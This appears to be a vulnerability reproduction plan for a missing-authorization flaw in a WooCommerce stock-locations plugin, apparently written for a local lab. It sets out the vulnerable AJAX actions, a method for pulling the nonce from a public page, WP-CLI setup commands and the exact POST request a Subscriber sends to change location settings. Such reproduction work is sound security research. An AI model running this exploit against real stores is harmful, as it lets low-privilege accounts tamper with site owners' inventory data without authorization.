Exploitation Research Plan - CVE-2026-57419

1. Vulnerability Summary

The Stock Locations for WooCommerce plugin (versions <= 3.1.8) is vulnerable to Missing Authorization in several AJAX handlers. Specifically, functions like slw_location_status, slw_location_assignment, and slw_map_status (located in inc/functions.php) verify a WordPress nonce but fail to perform a capability check (e.g., current_user_can('manage_options')).

Since these handlers are registered via the wp_ajax_ hook, any authenticated user with Subscriber-level access or above can trigger them if they obtain a valid nonce. This allows an attacker to modify term metadata for "Stock Locations," potentially disrupting inventory management or location-based availability.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Actions: slw_location_status, slw_location_assignment, slw_map_status.
• Authentication: Required (Subscriber level or higher).
• Vulnerable Parameters:
  • location_id: The ID of the location term (taxonomy: location).
  • status / assignment: 'yes' or 'no' string to toggle settings.
  • slw_nonce_field: The CSRF protection token (nonce).
• Preconditions:
  • The plugin must be active.
  • At least one "Location" term must exist in the location taxonomy.
  • The attacker must be logged in as a Subscriber.

3. Code Flow

1. Entry Point: The user sends a POST request to admin-ajax.php with action=slw_location_status.
2. Hook Registration: In inc/functions.php, the action is registered:

   add_action('wp_ajax_slw_location_status', 'slw_location_status');
   

3. Execution: The slw_location_status() function is called:
   • It checks if $_POST['status'] is set.
   • It verifies the nonce: wp_verify_nonce( $_POST['slw_nonce_field'], 'slw_nonce' ).
   • Crucially, it skips any current_user_can() check.
4. Sink: The function calls update_term_meta($location_id, 'slw_location_status', $status), modifying the database based on user input.

4. Nonce Acquisition Strategy

The nonce action string is slw_nonce. This nonce is used across several plugin features. For a Subscriber to exploit this, they must find where the plugin localizes this nonce to the frontend or an accessible admin area.

1. Identify Triggers: The plugin enqueues frontend scripts when the [slw_product_locations] shortcode is present on a page or when "Location Selection" is enabled in settings.
2. Setup Trigger Page: Use WP-CLI to create a public page containing the shortcode:
   wp post create --post_type=page --post_status=publish --post_content='[slw_product_locations]' --post_title='Locations'
3. Extraction:
   • Navigate to the page as a Subscriber.
   • Use browser_eval to search for the nonce. The plugin likely localizes data into a global JS object.
   • Look for variables like slw_vars or search the HTML for slw_nonce_field.
   • Script search: browser_eval("window.slw_vars?.nonce || document.querySelector('input[name=\"slw_nonce_field\"]')?.value").

5. Exploitation Strategy

Step 1: Target Identification

Find a valid location_id using WP-CLI or by inspecting the frontend.
wp term list location --fields=term_id,name

Step 2: Nonce Extraction

Login as a Subscriber and visit a page where the plugin is active (created in Step 6). Use browser_eval to grab the nonce value.

Step 3: Unauthorized Modification

Send a POST request to change the status of a location.

Request Details:

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=slw_location_status&status=no&location_id=[TERM_ID]&slw_nonce_field=[NONCE_VALUE]
  

6. Test Data Setup

1. Create Location: wp term create location "Warehouse Alpha" --description="Primary storage"
2. Identify ID: Note the term_id returned.
3. Create User: wp user create attacker attacker@example.com --role=subscriber --user_pass=password
4. Create Trigger Page: wp post create --post_type=page --post_status=publish --post_content='[slw_product_locations]'

7. Expected Results

• The AJAX response should be 1 (success).
• The location's status in the database will be updated despite the user only being a Subscriber.

8. Verification Steps

Verify the modification using WP-CLI:
wp term meta get [TERM_ID] slw_location_status
The value should be 0 (false/no) if the exploit was successful in setting it to 'no'.

9. Alternative Approaches

If slw_location_status fails, attempt the same process with:

• Action: slw_location_assignment
  • Sink: Updates slw_location_assignment meta.
• Action: slw_map_status
  • Sink: Updates slw_map_status meta.

Both follow the same logic in inc/functions.php and use the same slw_nonce.